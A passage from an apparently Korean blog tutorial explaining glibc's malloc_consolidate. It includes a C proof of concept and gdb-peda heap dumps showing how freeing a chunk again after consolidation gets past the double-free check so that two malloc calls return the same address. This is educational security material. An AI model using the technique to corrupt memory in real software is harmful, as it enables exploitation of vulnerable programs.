&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If&amp;nbsp;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;large&amp;nbsp;request,&amp;nbsp;consolidate&amp;nbsp;fastbins&amp;nbsp;before&amp;nbsp;continuing.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;While&amp;nbsp;it&amp;nbsp;might&amp;nbsp;look&amp;nbsp;excessive&amp;nbsp;to&amp;nbsp;kill&amp;nbsp;all&amp;nbsp;fastbins&amp;nbsp;before&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;even&amp;nbsp;seeing&amp;nbsp;if&amp;nbsp;there&amp;nbsp;is&amp;nbsp;space&amp;nbsp;available,&amp;nbsp;this&amp;nbsp;avoids&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fragmentation&amp;nbsp;problems&amp;nbsp;normally&amp;nbsp;associated&amp;nbsp;with&amp;nbsp;fastbins.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Also,&amp;nbsp;in&amp;nbsp;practice,&amp;nbsp;programs&amp;nbsp;tend&amp;nbsp;to&amp;nbsp;have&amp;nbsp;runs&amp;nbsp;of&amp;nbsp;either&amp;nbsp;small&amp;nbsp;or&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;large&amp;nbsp;requests,&amp;nbsp;but&amp;nbsp;less&amp;nbsp;often&amp;nbsp;mixtures,&amp;nbsp;so&amp;nbsp;consolidation&amp;nbsp;is&amp;nbsp;not&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;invoked&amp;nbsp;all&amp;nbsp;that&amp;nbsp;often&amp;nbsp;in&amp;nbsp;most&amp;nbsp;programs.&amp;nbsp;And&amp;nbsp;the&amp;nbsp;programs&amp;nbsp;that&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;it&amp;nbsp;is&amp;nbsp;called&amp;nbsp;frequently&amp;nbsp;in&amp;nbsp;otherwise&amp;nbsp;tend&amp;nbsp;to&amp;nbsp;fragment.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;idx&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;largebin_index&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;nb&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;have_fastchunks&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;av&lt;/span&gt;))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc_consolidate&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;av&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;/malloc/malloc.c&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;주석으로 설명이 되어있긴 하지만, 간략하게 설명하자면 chunk의 단편화 (fragmentation) 을 방지하기 위해, 어느 정도 큰 크기의 할당 요청이 들어오면 fastbin을 전부 병합하는 과정을 거치는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이 글의 malloc_consolidate 분석 내용을 요약하면, 다음 위치에 있는 chunk가 top chunk가 아니면 이 chunk를 unsorted bin으로 옮긴다. chunk가 unsorted bin으로 옮겨지고 fastbin이 비워지면, 동일한 chunk를 다시 free해 unsorted bin과 fastbin에 이 chunk를 올려놓을 수 있다. 이후 malloc으로 해당 크기를 두 번 요청하면 둘 다 같은 주소를 반환하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;실제 동작은 Example 파트에서 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Example&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;0x10 크기 chunk를 2개 만들고, 0x800 크기 할당을 요청해 malloc_consolidate를 실행시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;malloc.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;main&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s1&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s2&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;free&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s1&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x800&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;free&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s1&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s1&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s2&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;첫 번째 free 이후 main_arena는 아래와 같은 상태가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;heapinfo&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x20)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[0]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602000&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x30)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[1]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x40)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[2]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x50)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[3]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x60)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[4]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x70)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[5]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x80)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[6]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x90)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[7]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xa0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[8]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xb0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[9]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;top:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602040&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x20fc0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;last_remainder:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsortbin:&lt;/span&gt;&amp;nbsp;0x0&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;0x800 크기를 할당하고 나면 특이하게 smallbin에 0x602000의 chunk가 들어가 있는 걸 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;heapinfo&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x20)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[0]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x30)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[1]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x40)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[2]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x50)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[3]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x60)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[4]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x70)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[5]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x80)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[6]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x90)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[7]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xa0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[8]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xb0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[9]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;top:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602040&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x20fc0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;last_remainder:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsortbin:&lt;/span&gt;&amp;nbsp;0x0&lt;br /&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;(0x020)&amp;nbsp;&amp;nbsp;smallbin[&amp;nbsp;0]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602000&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;0x602000을 다시 free 하면, 이 chunk는 fast chunk 크기에 해당하기 때문에 fastbinsY[0] 을 확인하고, 이 리스트가 비어있기 때문에 double free 검사 로직을 우회할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;heapinfo&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x20)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[0]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602000&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x30)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[1]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x40)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[2]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x50)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[3]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x60)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[4]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x70)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[5]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x80)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[6]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x90)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[7]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xa0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[8]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xb0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[9]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;top:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602850&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x207b0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;last_remainder:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsortbin:&lt;/span&gt;&amp;nbsp;0x0&lt;br /&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;(0x020)&amp;nbsp;&amp;nbsp;smallbin[&amp;nbsp;0]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x602000&amp;nbsp;(invalid&amp;nbsp;memory)&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;0x602000 chunk가 fastbin에 들어가면서 fd 필드가 0으로 초기화되기 때문에 smallbin으로서 0x602000 chunk는 고장난 상태가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이 상태에서 malloc을 두 번 실행하면 s1와 s2에는 같은 주소가 할당된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width:100%; position:relative !important; overflow:auto; font-size:14px; font-family:Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
